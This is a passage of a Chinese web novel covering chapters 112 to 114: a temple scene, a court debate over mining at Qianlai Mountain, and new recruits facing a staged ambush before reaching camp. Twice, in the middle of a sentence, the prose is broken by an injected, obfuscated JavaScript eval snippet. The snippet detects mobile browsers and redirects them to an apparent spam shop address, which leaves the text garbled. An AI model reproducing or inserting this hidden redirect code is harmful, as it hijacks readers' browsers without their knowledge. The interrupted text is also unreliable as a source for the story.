初暒从怀中摸出黢黑似煤炭的一两银子,又用衣袖仔细擦拭干净后才双手将其搁在赵挽挽面前,与殿中一位小师傅恭敬道,“烦请师傅为她长明灯续火。” “施主有佛缘,为何不为自己祈愿?” “我自知不是长命之人,祈愿无用。” “往生之人亦不长命,施主请小僧续燃这长明灯又有何意?” “善恶有报、因果循环,信则有,不信则无。”初暒淡淡答,“我信我无,我信她有。” 她面容平和,眼底却布满戾气,小师傅出言提醒,“凡所有相,皆是虚妄,施主执念甚重,若久持不放,恐有损于身心。” “损便损吧,我放不下也不想放。”初暒双手合十与小师傅行过一礼,“各修各缘,各行各道,小师傅不必费力渡我,多谢您方才所言,今日就此别过。” 望着这位年纪尚轻,眼睛却像是历经沧桑的少年身影,小师傅垂下慈悲双眸,无奈低语—— “阿弥陀佛……” 112. 少年 虔来山五百六十一名土匪受朝廷招安下山从军,意味着为害兴民城乃至整个中北多年的匪患就此消失,百姓们担惊受怕的日子就此停止,于是在送兵那日,兴民城无数男女老少皆争先恐后、摩肩接踵的涌出城外欢送这群他们虽素未谋面,但此生也不想与之相见的兵士们离开。 “百姓们脸上不见一丝不舍,知道的是在送兵,不知道的还以为这是在送瘟神呢。” 郑万金回头看了被拦在城边挤作一团还不忘喜悦欢呼的百姓一眼,纳闷,“白大人,今日这热闹怎的不见令郎来凑?” 眼看冬招新兵队伍浩浩汤汤走远,白向福暗自松了一口气,一桩差事已了,可另一件家事又让他愁上心头。 白向福目不转睛的望着前方,像是在努力寻找着谁的身影。 良久,郑万金才听他唉声道,“长本事了,遇上热闹不甘愿只凑在一旁了。” 郑万金不解这话何意,可顺着白知州满目担忧与难舍的视线望去时,他恍然啊了一声,试探问,“白冲那小子该不会瞒着您……” 白向福似乎不愿多言,他闭上双眼无奈摇了摇头而后回身摆手招来信使,从袖袋中掏出一本奏折递过去,“速将此物送入宫中。” 慕峰青复克武江城消息传回不久,信使又将白向福顺利招安虔来上土匪的奏疏送进了晁都朝堂,耳边喜事一桩接着一桩,可金銮大殿中的百官脸上却并不见一丝喜色。 宰相梁崇元与殿中众官员道,“左佥都御史铁铭奏疏上书,慕峰青与赤霄军在武江城汇合时,侵扰边境城池数十日之久的北漠大部一看到他们军旗露头便拔腿就跑,但……其中有一支部队却像是故意落在撤退大军之后,短暂的与赤霄军交过手才收军撤退,待沙场战火堙灭、硝烟散尽,慕峰青方得认出,那支看着赤霄军像是在看故人的北漠首领,正是北漠狼主塔鲁阿卓。” 自从去年年末映月关那场大战落幕,中北上下已经有整整一年没有听过塔鲁阿卓的名号,他们原以为映月关一战,中北元气大伤,北漠也必定好不到哪儿去,却没想到才不过一年,那帮漠匪竟又死灰复燃、卷土重又惦记上中北的家当了。 殿中每个人心中都在暗暗唾骂塔鲁阿卓一把老骨头了还贼心不死,但每个人心中也都清楚,那个贼心不死的老骨头身为异族之长,凶悍绝伦、暴虐无道,他如果在边境露出狼牙,边境的城池百姓便会立即被他的狼群啃食地连渣也不剩。 而今,武江城被屠戮的急讯犹在耳边,生灵涂炭的光景恍在眼前,映月关一战一年之后,塔鲁阿卓非但没有因为曾残败在慕峰青大军手下而对其畏缩不前,反倒再一次对中北露出了他的獠牙,北漠横行无忌至此,倘若他们当真狗胆包天,那中北岂非危如累卵…… 百官心思各异,梁崇元闷声咳嗽几声又道,“北漠在边境略地侵城,南夷亦在疆域蠢蠢欲动,镇守西南的宣威将军齐震啸已近垂暮,其长孙齐潇旭亦在东南举步维艰,西北一方阙重臣相守,敌寇才得以肆意纵横,如今情势渐趋危急,不知诸位有何良策能解中北人才匮乏之急?” 王启抱拳出列,答,“十室之邑,必有忠信,堂堂中北,岂无材勇,各地冬招新兵均已陆续奔赴就近新兵营受训,下官以为只要对他们严加训练,不出数月,此新兵之中,必有智勇双全之士脱颖而出,到那时西北人才匮乏之急定能迎刃而解。” 边境情势虽然紧急,但人才冒头也需要时间,担忧无用,只能耐心等待。 众人左右商议片刻都觉得王启此言有理,梁崇元亦颔首道,“那便等兵士们出了新兵营再议罢。” 边境诸事暂搁,梁崇元抬眼瞧见公干毕归的柳思无垂首立在队列中并无述职兴民城差事的意思,于是点了他的名儿,询问,“兴民城知州白向福上奏幽王抓获兴民县衙污吏吕贾,查获贿白银千余两,那吕贾已于狱中畏罪自尽,所查贿银也托你上缴朝廷,可有此事?” 柳思无答,“确有此事,下官已将白知州上缴贿银清点完毕全数入库,此物便是账簿,您请过目。” 内侍将柳思无手中账册捧到梁相面前,殿中有人小声诧异,“这世上竟有过了幽王手还能囫囵个入国库的银子啊!” “一个县衙小吏能贪多少钱,这千余两虽过了幽王的手却未必能入得了他的眼。” 旁边人切了一声,鄙夷说,“如今为害兴民城的土匪已除,那虔来山已是一座空山,柳大人都办完差回来了,可幽王借养病之名赖在兴民城你们还猜不出能入他眼的是什么东西吗。” 柳思无目不斜视的听同僚们低声议论,工部赵无祸则瞟着眼睛瞧见梁相阅完手中账簿便立即拱手,奏道,“梁大人,既然虔来山匪患已除,下官以为朝廷还是尽早派人接管虔来山为妙,不然,若山中蕴有矿产消息为众所悉知,恐怕会惹得奸邪之徒觊觎之心肆起。” 赵无祸口中奸邪之徒与觊觎之心说的是谁,殿中众所周知,梁崇元略一思忖,道,“虔来山矿产诸事仍交由工部去办。” 工部官员齐声答是,赵无祸又借机道,“中北矿产匮乏,寻采矿技艺并不如南夷成熟,但正如兵部王尚书方才所言,我泱泱中北最不缺的就是人才,因而若能得一擅此道者相助,工部于虔来山寻采矿一事定然能够事倍功半。” 梁崇元明白他心中已有人选,直问,“你看中何人?” 赵无祸也不扭捏,亦颔首耿直回答,“‘一代矿师’孔天华之子,孔云铮。” 孔天华? 有人疑惑,“此人数年前就在中北销声匿迹,也不曾听说他还有个儿子啊?” 赵无祸顿了顿,才说,“孔天华有地质之才,为人却十分轻浮,家宅不睦,他那儿子舍了父姓,断了族辈,随了母姓邱氏,取单字阳,以做己之名。” 王启皱眉嘶了一声,嘀咕,“邱阳?这名字怎的这般耳熟?” 许尧白在旁边怼了他一下,提醒道,“你不记得了么,柳大人先前获取来路不明的虔来山矿物地形图不仅不上报反而将其丢失,那丢失的图卷就在这个叫邱阳的屋里搜出来的,我还听说那邱阳在你部军狱院被折磨的都不见人形了仍旧不曾开口争辩过一句,至今还被大小狱卒啧啧赞叹呢。” “原来他是孔天华的儿子!”王启拍完大腿,在电光火石之间忽然起了疑心,问,“我记得经过工部核实,柳大人丢失的地形图所绘不实,可…既然不实,那份图卷又怎会好巧不巧的出现在矿师孔天华儿子的屋里?” 百官议论纷纷,王启越想越觉得不对,“中北山脉绵延,其中能探寻到的矿产却万分匮乏,我工部同僚尚未能绘制出完整的虔来山矿产地形图,又如何判断出邱阳手中那份矿产地形图不实?数年来,我听说过的尤擅此道的唯有孔天华一人而已,可孔天华销声匿迹的蹊跷,那突然出现在中北的地形图也蹊跷,若不查清这两桩蹊跷便贸然任用其子邱阳,万一他们立场不正、暗通曲款,恐怕蕴含在虔来山下的矿产亦会被奸邪之徒攥在手心。” 赵无祸严词反驳,“若无邱阳相助,莫说矿产是否会被奸邪之徒攥在手心,就是能不能在虔来山挖出矿物都不一定呢,你疑心的两桩蹊跷你想查便查,我只说一句,现今北漠已在边境掀起波澜,南夷正在隔岸观火,中北与北漠一旦正式开战,南夷要是不会趁火打劫,我赵无祸将脑袋摘下来给你踢,到那时,南夷借口避战不卖出铁器供中北冶炼兵器,你是想我中北兵士赤手空拳的与北漠铁骑送命吗!” 许尧白附和道,“寻采矿一事重大,我们若能自食其力,今后便不必再仰小小南蛮鼻息,王大人于此事心有疑虑,那不如兵部当兵部的差,工部干工部的活儿,两边都不耽误您看如何?” 他们两人一唱一和,王启却也不甘示弱,“我怎能不知矿产资源干系着前线兵士手中兵器多寡,正因如此,我才担忧若担负寻采矿重任之人心术不正,反倒会让对抗外敌的兵士们身陷腹背受敌之境!赵大人、许大人,疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888161|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人勿用啊!” 赵无祸知晓这王启向来胆小怕事,倒没想到他的口才却如此了得。 寻采矿之事再不能耽误,他正急的满头大汗时,突然听见侧前方有一人说“请神容易送神难,与其担忧虔来山的矿要谁去挖,不如先想想如何将幽王殿下请出兴民城,不然……” 柳思无温和的看过众人一眼,缓缓道,“要是被幽王先一步‘占山为王’,纵使身边没有尤擅地质的可用之才,但凭他的财力与手段,将虔来山脉疑有矿物的山体整个翻过来都是十分有可能的。” 柳思无所言并非毫无根据,因而此话一出,争执不下的王启与赵无祸总算默契住口,殿中众人一齐看向坐在堂下倾听他们争论许久的梁相,以求他做个决断。 梁崇元深思熟虑少焉,而后再又抬头下令,道,“诏命工部赵无祸与擅通地质之道者邱阳等人速行兴民城接管虔来山脉,务要详查矿产之地,以资开采。” 赵无祸默默与柳思无相视一眼后才躬身拱手,低声答,“是!” 土匪受招下山、新兵应招入伍,兴民城民众的安宁日子只过了几天,就又有人在县衙布告栏前瞧见了朝廷征召百姓入虔来山做矿工的告示。 “我在兴民城居住多年,竟不知虔来山里居然有矿产?” 围读告示中有人满眼惊诧,有人却一脸不屑,“年年都说要收拾虔来山,可年年也都只是说说而已,前几日将那帮土匪送走时我还纳闷朝廷今年怎么还狠下心来为民除害了,原来是咱们自作多情了,上面的人从始至终惦记的都是那埋在虔来山里的东西。” “话也不能这么说,中北矿山不多,士兵兵器与农户铁具样样都需要仰仗南夷,要是虔来山里真能挖出矿来,咱们今后便不用费心拉拢墙头草似的南蛮,与北漠打仗时也不必再束手束脚。” “说起与北漠打仗……” 人群中有一高大男子嘶了一声,回忆道,“我记得前几年只要赤霄军出手,那塔鲁阿卓哪一次不是被他们打得屁滚尿流,可这回慕将军不是早与赤霄军在武江城汇合了么,怎的这么久了才只传回他复克武江城的消息却不曾听闻与之对战北漠军队的伤亡情况呢?” “映月关一战后中北与北漠已经休战一年,一年里面能发生的事儿可多了去了,你怎知慕将军在武江城一战中不是为了试探北漠战阵有无长进?” “有理有理,还是你说的有理,毕竟知己知彼才能百战不殆,慕将军勇猛无畏他手下赤霄军亦是威武之师,所作所为岂是我等能够随意置喙的。” “只要慕将军守在疆界,谅那漠匪也掀不起什么风浪,我们只管将心放进肚子了便是……” 阅完征召告示的百姓注意力被人从虔来山的矿转移到了慕峰青身上,始作俑者悄悄退出人堆,隐没在城中人来人往的街巷中。 兴民城县衙议事内堂,薛霁从暗探书信中得知,邱阳已向工部赵无祸自荐获纳,并面会王羌曹等人论及了虔来山矿产诸事,他刚读完信上最后一字,就听无恩在门外低语,“主子,高寒回来了。” “让他进来。” “是。 无恩将高寒引入堂内,看他正要单膝跪地行礼,却听座上主子说,“起来回话。” 高寒应声抬头,无恩这才看清他沧桑粗糙,如同久经风霜的枯树一般的面容,不由问道,“几日不见,你怎么被磋磨成这副模样了?” “武江城偏北,风沙夹杂着冬日雪砾刮在人脸上就像刀片一样冰棱锋利,我这幅面容不算什么,备受风雪风沙侵扰和北漠铁骑屠戮的武江城百姓才备受磋磨。” 高寒答完无恩,又看向薛霁,恭敬道,“主子,慕峰青率赤霄军坐镇武江城,确实震慑了在边境心怀鬼胎的北漠部族,但属下打听到,他们此次在边境作乱,北漠军队一听见赤霄军威名便抱头鼠窜、席卷而逃时,率领一众破阵逆袭,奋勇与之交锋,继而安然而返的,并非塔鲁阿卓,而是一位……少年。” 113. 伏击 “率领一众破阵逆袭,奋勇与之交锋,继而安然而返的,并非塔鲁阿卓,而是一位……少年。” 薛霁问,“可知那少年名号?” 高寒摇了摇头,答,“慕峰青及手下赤霄军在边境与北漠交战多年,可属下并未从他们口中探听出有关那少年身份的只言片语。” 无恩皱起眉头,担忧道,“北漠有一个嗜血凶悍的塔鲁阿卓就够难对付的了,怎的还冒出一个神秘少年,听着挺厉害的,也不知那慕峰青究竟能不能应付……” “北漠这回在武江城抢的东西大概足够过冬,因而他们与赤霄军短暂的交过手后便立即退至中北疆界之外,估摸短时间内不会再来,不过,慕峰青倒是谨慎,在武江城内外戒备的十分森严,他整日只顾在军中忙碌,于是安抚百姓、援建屋舍、赈济伤民诸事全都落在了铁铭头上,可怜那铁大人回乡不到一月,疲惫焦灼的像老了十岁。” 高寒禀报完武江城现状,想了想还是说,“主子……武江城一行,属下总觉得赤霄军有些不对劲儿,可又实在说不清自己到底是在别扭什么,真是奇怪的很。” 薛霁若有所思道,“映月关一战前,赤霄军英勇善战、无往不利之名便众所周知,可即便闻名至此,世人那时也只晓得指挥赤霄军的将领姓慕,而今你深入武江城后,不仅知道了慕峰青于城中防守密疏,还能在赤霄军口中打听到战场敌首情况,可不是奇怪的很么。” 高寒总算反应过来,点头,“是了,回来时属下曾听百姓们说‘慕将军勇猛无畏他手下赤霄军亦是威武之师’,可属下在武江城观战时,却见他们打的十分保守,难道一年过去,人与军队的锐气也会随时间消散么?” 薛霁没有回答,他思忖一会儿反问,“赤霄军中近期可有将领更迭、人事变动?” “近期并未,但先前……”高寒仔细回忆一刹,补充道,“慕峰青曾在军中揪出一个叛国贼,那人是他的亲信副将,说起这个属下忽然发现,他那副将被拉回晁都斩首后,武江城也算是慕峰青映月关一战后与北漠打的第一场仗。” 高寒这话似乎让无恩回忆起什么,他不等薛霁发问,忙说,“主子,慕峰青揪出的叛国副将名叫慕初,此人入伍前户籍不详只知道是个孤儿,他被斩首后,属下至今未查得其身世之详。” “这许久了,竟一丝线索都没有么?” “是,属下也觉蹊跷,那慕初活生生一个人,却好像是凭空出现在慕峰青身边似的。” 高寒试探问,“要不我再去武江城赤霄军驻地打探此人消息?” 无恩白了他一眼,说,“慕初出自赤霄军,却做了叛国贼,大概只有缺了心眼的赤霄军兵士才会与人议论自己军中这桩丑事。” “慕初曾伙同五千叛军投敌,大开映月关门,引得北漠敌军险些屠了文州城,他出自赤霄军,那五千叛军定然也属赤霄军麾下。”经无恩提醒,薛霁低声自语,“慕初,慕…他亦姓慕……” 不知主子在思量什么,无恩与高寒相视一眼后方听薛霁沉声道,“军中丑事兵士或许会闭口不谈,可军队远播军威与赫赫声名定会在受过他们恩泽的百姓中口口传颂。无恩,速差各方暗探分别赶赴赤霄军于映月关一战前攻守过的城池之中,务须详查此军及其主副将消息,事无巨细,慎勿疏漏。” “是!” 目送无恩领命离开,立于堂内静待吩咐高寒犹豫再三还是问出自己一直以来的疑惑,“主子,属下在兴民县衙布告栏前瞧见了朝廷征召百姓入虔来山做矿工的告示,也晓得了虔来山土匪全部受招从军的消息,这桩桩件件都是在说,那个农户之女初暒非但当真收服了土匪窝里所有土匪,而且还光明正大、理直气壮的从军当兵去了,属下觉得这个女子做的这些事,实在让人匪夷所思,这样一个胆大妄为、匪夷所思的有些骇人之人,主子竟也放心收为己用?” 日落黄昏时,夕阳的光芒洒在县衙议事内堂书案一角,那光芒温和似火,却并无一丝温度。 薛霁抬眸看着高寒,又好像看的不是高寒,良久,才听他用如红日西坠一般的嗓音说—— “胆大妄为如何,匪夷所思又如何,只要用的趁手,无关雄雌,不过一把利刃而已。” 落日余晖之中,伍千裘使手中利刃在雪地上铲出一块潮湿空地,朝正在环视四周的初暒招手,道,“二当家的,快过来歇一歇吧。” “二当家的,咱们都当兵了何苦还跟做土匪时候似的小心谨慎啊。”楚六抱着手中兵器一屁股坐到伍千裘清理干净的空地上,轻松地哎呦一声后摸出怀里干粮,边吃边劝,“再说这么多新兵,前头既有侦察塘骑兵开路,后面又有运兵使殿后,脑子被驴踢了的傻子才会来招惹我们呢,放心歇着吧您。” 原地休整的命令传至队列末尾,所有新兵便立即全部疲惫地止步坐下,初暒观察完附近的山形地势又看了一眼前锋仍然紧握旗枪的塘骑兵,才坐在他们身边,对楚六说,“从军当兵不比仗山做匪,最好还是莫要将自己安危,委诸他人之手。” 楚六撇了撇嘴像是没有放在心上,转头就去逗在大冬天累得小脸通红的小运气,“大夫不都是治病救人的么,我们从军当兵可是专去杀人的。” “当兵也能救人,我师傅年轻时曾做过军医,我便是他在被漠匪屠戮过的城池死人堆里救回去的。”宋运低着头小声说,“不过……只要能一直跟着诸位哥哥,我也什么都愿意去干。” 楚六和伍千裘听他这孩子气的话都低低笑了一声,可初暒却看着小运气认真道,“从前在虔来山有伍千裘护着你,你才能安然无恙到今天,但你如今当了兵,战场上刀剑无眼,伍千裘能否自顾都难说,更莫提再护住身后的你了,一定要自己多长些心眼才是……” “‘莫将自己之安危,委诸他人之手。’”宋运用初暒方才的话打断了她,继续说,“二当家的话我都记得,您放心,入新兵营后我一定好好训练,保证日后不拖诸位哥哥后腿!” 少年的眼睛稚嫩坚定,初暒笑笑抬手揉了揉他的脑袋后,对众人道,“我们既然已经受招从军,原先在虔来山做土匪时的职务也不再做数了,大家都是新兵,以后直接唤我本名初暒便可。” 楚六闻言眼睛一亮,试探叫了一句,“初暒!” 初暒颔首,“嗯。” 得初暒应声,楚六高兴极了,“你年纪比我小,今后总算不用再您过来您过去,我也不必再小的来小的去了,舒坦!” 伍千裘受招后便将自己蓄着的胡须剃了,整个人年轻英俊了不少,他怼了怼一副翻身小弟把歌唱的楚六一肘,道,“你年纪也比我小,但是以后该叫的千裘哥还是要叫的。” 楚六阴阳怪气的唤了一声‘千裘哥’而后假意‘呕’了一声,才说,“你真名原来叫伍千裘,但兄弟我还是觉得伍二这名儿适合你。” 宋运不解问,“楚六哥,那你真名真的叫楚六吗?” “户部都核查过了还能有假!我姓楚,在家中排行老六,就叫楚六嘛。”楚六说起户部又想起至今不知下落的姜九,唉声叹气道,“要不是我阻拦,姜九兄弟或许自初暒在山寨里提醒后就自行离去了,也不会被朝廷当成逃兵带走,此事实在怪我……” “可不是么,老六。” 伍千裘要笑不笑的喊了这句,楚六立即用胳膊扼住他的脖子,恐吓说,“老伍头,我怎么觉得你话中不带好意,再怪声怪气的当心老子灭了你!” “行行行,知道了你先放开,我要喘不过来气了……” 他们在一旁低声打闹,宋运对姜九哥的惋惜被伍千裘的玩笑挪开,不由也跟着俩人轻笑起来。 眼看天色渐暗,前方仍不见传来动身行军的命令,初暒抬眼张望时,忽听宋运问,“咱们从兴民城出发已经前行好几日了,到底什么时候才能到新兵营啊?” 驻军休整道路两旁皆是丛林,唯有前方不远是一片宽阔平原,初暒心中估算了一下这几日行军路程,答他,“应该快了。” 宋运默默点了点头后,又听初暒轻声说,“新兵入营除了要战前受训,以便使民蜕变为兵,更多也是为中北各军挑出不同才能的可用士兵,战场总有伤亡,因而懂得些医术的兵,总是会被各军疯抢,宋运,你身负治病救人之才,若有心深入钻研此道,将来定会在军中闯出自己一片天地。” 初暒在提醒宋运,他是大夫,他可以用一技之长安稳的待在军中后方,实在不必为了跟随他们而将自己置于冲锋陷阵的危险中。 她的话宋运听懂了,可是宋运却说,“我要闯出的天地里,一定要有你们,不然,闯来也是无益。” 少年人的眼中只有少年心性,初暒看着他轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888162|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇头,正要说些什么时,耳边猛然炸起一声锣响,瞬间之后,杀声四起,驻军休整的新兵们还没反应过来就见道路两旁的丛林中突然窜出来数百手执大刀的凶猛大汉。 入伍不过几日的新兵们哪里见过这阵仗,他们一见浑身杀意的大汉们挥着大刀朝自己劈来,立即被吓得连爬带滚的四散溃逃。 新兵们狼嗥鬼叫着乱作一团,带队的运兵使们亦在与歹人对战中自顾不暇,不消片刻,已有不少人被那群大汉砍倒在地,再无声响。 同才穿上戎衣,实则仍旧是百姓的新兵比起来,受招的虔来山土匪们看见此情此景要镇定许多,杀声才起时,他们这些人便不约而同地拔刀聚在了自己的二当家身边,屏息静气着等待她的命令。 四面混乱,初暒一边迅速侦察眼前困境,一边高喊,“锣声预警,白旗疾晃,这是伏兵突袭之兆!诸位切莫奔逃惊慌!握紧手中兵器速速聚拢为要!” 初暒的声音很快隐没在新兵们的惊恐呼喊与运兵使们与敌兵刃相接的打斗声中,眼见多说无用,初暒迅疾对身边的伍千裘与楚六交代,“敌寡我众,我们对付这些人绰有余裕,但此处狭窄不宜作战,需要将所有人引入前方不远的平原方能脱身,你我三人各带一队,并以我为先锋突出敌人包围,可有异议?” 所谓前锋便是冲锋在前,而只要冲的越前,离死也就不远。 被初暒安排在她身后左右两翼的伍千裘与楚六明知她此举何意却仍是咬着牙,道,“没有异议!” “那就干罢!” 初暒扭头同宋运说了一句‘跟着我!’而后便握着手中大刀,引着伍千裘与楚六等人也趁着夜色于敌人兵力薄弱之处向前突围。 树林狭道中,‘包饺子’包得正带劲儿的凶猛大汉们借着脚下雪光与头顶月光倏地瞧见乱成一锅粥的新兵之中竟有三支小队以整齐有序的正三角队形集中兵力向前快速突击,似乎想要尽快抢占前方平原作为反攻阵地。 “嘿呦,这批新兵有点意思啊。” 为首的大汉瞥了眼满地抱着脑袋只知鬼哭的新兵蛋子,拍了拍身边人的肩膀后带队快速追了上去。 身后敌人依仗对此处地势熟稔,顷刻间便出现在了快要跑到平原的三队侧后,伍千裘反手挥刀劈开差点落在自己头顶的刀刃,没料到自己前胸又袒露在紧跟身后的大汉面前,眼看利刃朝自己胸前砍来,伍千裘暗叫不好,下一瞬却看见方才与自己有一步之遥的敌人转瞬之间变成两步。 他砍了个空,于是伍千裘与其他两队顺利跑进了平原。 地势已然开阔,初暒抬手示意身后众人止步更换队形,“前左右三队速并列转身以环形阵势向后包围!” 察觉敌人对自己并无赶尽杀绝之意,伍千裘在原地疑惑了一瞬其中可能原因,而就在他怔愣在原地那一瞬,方才还在追杀新兵们的大汉在他们迅速变换队形后突然成为了瓮中之鳖,为首的大汉发现他在发呆于是立刻眼疾脚快的在他胸口蹬了一脚,伍千裘吃痛往后退了几步,严密的环形阵势便随之破了一个口子。 不等伍千裘反应过来将口子堵住,那大汉就步伐紧促敏捷地从他眼前疾速逃脱,伍千裘为自己的大意后悔地直拍大腿,再抬眼又瞧见初暒注意到他这边动静后,在身边兄弟的遮掩下竟趁乱独自悄声摸到了才刚在自己手中脱身的大汉身侧。 “别动!” 才出龙潭又入虎口的大汉脖子前架着大刀,但伍千裘不仅没在他脸上看见丝毫慌张恐惧,定睛过去发现他的嘴角似乎还挂着一丝几不可查的笑意。 这人被吓疯了不成? “住手!” 一声怒喝自黑暗中响起,止住了高举着手中大刀,恶狠狠地想要取被自己包围着的歹人性命的新兵们。 与这声怒喝同时出现的还有从平原四面亮起的紧密火光,楚六目瞪口呆的看着朝他们疾驰而来的亮着火光的马匹,骂了一声,“娘的,这帮歹人竟还有骑兵?他们想造反不成!” 看清举着火把渐近骑手身上装束,伍千裘终于明白对自己没有杀意的汉子们究竟是什么人。 “我等奉命接新兵入营,初暒!还不放开手中挟持之人速速与众归队!” 看见要自己住手的男子从包围圈中走出,初暒随手丢了刀,暗道一句—— “真是冤家路窄。” 114. 入营 “收队!” 被初暒挟持过的大汉一声令下,方才遭‘敌人’袭击后噤声倒地的运兵使们立即起身与被奋起反抗的新兵包围住的汉子们迅速汇聚于骑兵前方空地,以方阵阵型整齐列队。 他们反应快速、行动矫捷,即使身上并未穿着作战军甲,也依旧能让人看出这些兵士源自一支训练有素的军队。 路遇‘敌人’伏击便抱头乱窜的新兵们被陆续带回后单独站了一队,初暒看见一直没给过自己好脸色的男人清点完新兵人数小立刻跑向站在众人对面的高大汉子身侧,低头抱拳恭敬道,“禀告淮指挥佥事,两千五百三十六名兴民城新兵已全数集结。” “即刻带回新兵营” “是!” 新兵自兴民城出发,运兵使便一直引他们往西全速行军,直到渐近这片平原,开路的塘骑兵才开始泰然自若的缓步徐行。 平原地区地势平坦,视野开阔,有利于军队进行大规模训练和集结,因而初暒所料不错,新兵营就在前方不远。 像是已经等候来人许久,新兵营门早已大开,门外左右哨兵手执长枪,目光如炬的注视着经过自己时满脸兴奋与新奇的新兵们,威风凛凛,不动如山。 新兵营地里壁垒森严、灯火通明。 立于点兵台上的淮姓指挥佥事看新兵们入营后已经分队在练兵场上站定,笑道,“我名淮辛岩,在所属军中任指挥佥事之职,亦是此次新兵受训的总教头,今夜这场见面礼诸位可还满意?” 他脸上带笑,浑身的杀气荡然无存,方才被他手下吓着的新兵们初入营地的兴奋劲儿还未消散,此刻见他面容如此和善,纷纷大着胆子七嘴八舌的抱怨—— “这哪是什么见面礼!分明就是你们存心刁难!” “就是!我们都是新兵,还未经操练呢就让你们这么吓唬!真是岂有此理!” “刀枪无眼!树林狭道中又黑灯瞎火,你们都不怕失手伤了我们吗!” “……” 张口的新兵都是溃散被抓回后单独站成一队的,淮辛岩一个眼神扫去,他立于台下的副手立即拧眉呵斥,“肃静!” 这声咆哮中气十足,霎那间便压过了操场吵嚷。 淮辛岩笑了笑,目光扫过忽然噤声,嘴巴还没来得及闭上的新兵们,从点兵台上跳下,走到了自入营后便一直不发一言、目不斜视以列兵之姿立于队中的小兵身边,问,“我等袭击新兵时,是你最先依据预警锣声、疾晃白旗,察出伏兵突袭之兆,并率领众同袍脱身不宜作战险境直奔平原而后趁机反攻的?” 初暒仍旧目视前方,高声答“是!” “遇到突发险情既临危不乱,又能听懂战鼓、明白军旗,还晓得变换作战队形,小子,你原先当过兵?” “报!不过是幼时混迹江湖时,听那茶楼说书人高谈过几句。” 淮辛岩皮笑肉不笑呵了一声,似乎并不将她这句胡侃放在心上,只肯定说了一句,“反攻后挟持我时,你用的是刀背,你小子早看出了我们身份。” 初暒挑了挑眉,不置可否。 淮辛岩继续不耻下问,“我等吓唬过的新兵数不胜数,自诩‘拿歹人腔作恶人势’的技艺了得,还从来没被人察觉过身份,敢问……你这小兵如何看出?” 初暒:“配合你们被砍倒在地的运兵使们那么多,可我却并未闻见一丝血腥味。” “原来如此!” 淮辛岩眸中一亮,展露出一副恍然大悟的模样,众人以为他会赞叹初暒心细如发却没想到这人下一瞬竟飞速转身重又踏上点兵台,冷脸怒喝台下副手,“阎龙!尔等于今夜伏击之战中疏忽大意,以致身份暴露,反遭新兵围攻,此为大过,须以军法严惩,以儆效尤!” 阎龙及其余兵士齐声答是。 “连一群新兵都干不过,去去去……莫要再此处丢人了,每人五百虎卧撑,练不完不允回营!” 淮辛岩不耐烦地朝他们摆摆手,阎龙等人领命后离去受罚,路过初暒队列时皆向其投去好奇与不甘的目光,楚六见状打了个寒颤,微微偏头与伍千裘耳语,“怎么这般倒霉!在兴民城受招时我揍了他一拳,从军当兵后初暒又带着咱们给了他难堪,不是说招完兵就各奔东西么,怎的奔了一圈竟奔到他手底下了,唉…老伍头你说他之后会不会给你我穿小鞋啊……” 伍千裘不屑,“穿便穿,谁怕他。” “哎出门在外的,何必给自己找仇家,要我说还是改日让初暒出马低头给那姓阎的认个错,说不准往后咱们的日子还能过的舒坦些,你说是不……” 楚六话没说完,点兵台上的淮辛岩又声如洪钟道,“诸位新兵今日既已踏入军营,当知军人之职,重于泰山,非但要有强健体魄,更需有坚定意志,战场之上,生死瞬息,唯有团结一心,方能克敌制胜。尔等今后需互敬互爱,如兄弟手足,同生共死!” “吾须告诫尔等,军纪如山不可违逆,听从号令,服从指挥,是尔等天职。若有违抗,必受严惩。然,只要尔等恪尽职守奋勇杀敌,朝廷必不吝赏赐,家族亦将同耀荣光!” “望尔等时刻不忘国家之恩、百姓之托,以卓伟之才,誓成中北利剑,以忠诚之心,护卫疆土百姓,以勇猛之志,捍我朝尊严,吾今日所言,诸位当谨记于心,至死不懈!” 淮辛岩语调慷慨激昂,将练兵场中怀揣着叱咤沙场、保家卫国英雄梦的新兵们感染的热血沸腾,众人对他的埋怨顷刻尽消,纷纷高举右臂,齐声高呼—— “我等谨记于心,至死不懈!” “我等谨记于心,至死不懈!” 声声咆哮与呼喊直达天际,淮辛岩满意地点了点头而后手掌朝下在空中按压几下,示意他们到此为止,“行军数日,诸位辛苦,时候不早了,按当前阵列分甲乙丙丁等营后依次由各营教头带回营帐休整。” 淮辛岩交代完,下台时又似笑非笑的看了初暒一眼才径直走向场上其中一队,高声道,“甲营!即方才在树林狭道之中,嗓门最亮这队跟我走!” “那我们就是乙营了。” 看到淮指挥佥事带走了路遇‘敌人’伏击便抱头乱窜的新兵,宋运惋惜着小声说,“这位大人瞧着威严,脸上的笑容倒十分和善,想来应该是个好相与的教头,就是可惜他不教我们。” 楚六不服气,“咱们方才在被‘伏击’中识别他们身份,还险些将其反攻,表现这样好的新兵,他凭啥不带!那淮辛岩是新兵营里最大的官儿,要是能跟着他,再在他面前混个脸熟得个重用,岂不是一条升官发财的好路子!唉,不是可惜,是可惜至极!” 伍千裘没有理会楚六的嘟囔,只偏头问初暒,“各营都被带走了,也不知管咱们这营的教头是哪位……” 